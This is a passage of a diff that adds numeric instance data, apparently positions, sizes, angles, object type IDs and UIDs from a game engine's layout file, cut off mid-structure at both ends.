+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2794,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3959,
+ -5,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2798,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3510,
+ 1161,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2803,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3541,
+ 1161,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2804,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3572,
+ 1161,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2805,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2023.091796875,
+ 561.9597778320312,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 493,
+ 2806,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 490,
+ 772,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2807,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1201,
+ 815,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2808,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1437,
+ 710,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2809,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2093,
+ 565,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2812,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2593,
+ 599,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2814,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3363.5576171875,
+ 767.9013061523438,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2815,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3643,
+ 547,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2816,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3874,
+ 621,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2817,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3900.091796875,
+ 466.3648071289063,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2818,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3900.856201171875,
+ 389.3250732421875,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2819,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3902.384765625,
+ 309.9959716796875,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2820,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3686,
+ 989,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2847,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4954.4921875,
+ 928.3739013671875,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 2852,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4889,
+ 906,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2853,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4735,
+ 866,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2856,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4508,
+ 740,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2859,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4311,
+ 846,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2862,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2047.5,
+ 206,
+ 0,
+ 73,
+ 549,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2864,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2982,
+ 2332,
+ 0,
+ 185,
+ 436,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2868,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3644.51220703125,
+ 741,
+ 0,
+ 77,
+ 315,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2872,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3954,
+ 622,
+ 0,
+ 77,
+ 75,
+ 0,
+ 1.570796370506287,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2873,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3954.402099609375,
+ 274.448486328125,
+ 0,
+ 77,
+ 627.7987060546875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2874,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1963,
+ 422,
+ 0,
+ 44.38152313232422,
+ 21.39823532104492,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 498,
+ 2875,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2046,
+ 445,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2876,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2047,
+ 366,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2877,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2047,
+ 287,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2878,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2048,
+ 209,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2879,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2048,
+ 130,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2880,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2049,
+ 52,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2881,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2050.3740234375,
+ -27.02202415466309,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2882,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3564.762451171875,
+ 735.6312866210938,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2883,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3563.3505859375,
+ 735.4451904296875,
+ 0,
+ 77,
+ 77.65887451171875,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2884,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3359.66455078125,
+ 1132.156494140625,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2886,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2047,
+ 206.5,
+ 0,
+ 78,
+ 552,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6999,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4824,
+ 876.6407470703125,
+ 0,
+ 37,
+ 159,
+ 0,
+ 0,
+ 1,
+ 0.5135135054588318,
+ 0.5031446814537048,
+ 0,
+ 0,
+ []
+ ],
+ 515,
+ 2810,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3270,
+ 1129.65576171875,
+ 0,
+ 44.38199996948242,
+ 21.39800071716309,
+ 0,
+ -0.7823646664619446,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 518,
+ 2811,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 772,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2821,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4821,
+ 694,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2822,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4822,
+ 615,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2823,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4822,
+ 536,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2824,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4823,
+ 457,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2825,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4823,
+ 378,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2826,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4824,
+ 300,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2827,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4824,
+ 221,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2828,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4825,
+ 143,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2829,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4820,
+ 379.3994140625,
+ 0,
+ 77,
+ 861,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2830,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4825,
+ 65,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2851,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4826,
+ -13,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 7000,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2182,
+ 618,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7001,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2213,
+ 618,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7002,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2244,
+ 618,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7003,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2275,
+ 618,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7004,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 385,
+ 845,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7005,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 416,
+ 845,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 7006,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3363,
+ 855,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 2586,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3363,
+ 853.3294677734375,
+ 0,
+ 77,
+ 81,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 2784,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3452.386962890625,
+ 860.4375,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 2785,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3562.91015625,
+ 815.3648681640625,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7009,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4120,
+ 940,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7013,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3921,
+ 1000,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7017,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4194,
+ 665,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7021,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4320,
+ 436,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7025,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4043,
+ 528,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 7033,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 40.41181182861328,
+ 899.8907470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2239,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 40.41181182861328,
+ 994.8907470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2240,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 131.9913330078125,
+ 899.8907470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2574,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 131.9913330078125,
+ 994.8907470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2575,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 223.3532104492188,
+ 899.8907470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 2576,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 223.3532104492188,
+ 994.8907470703125,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 2577,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 314.9327392578125,
+ 899.8907470703125,
+ 0,
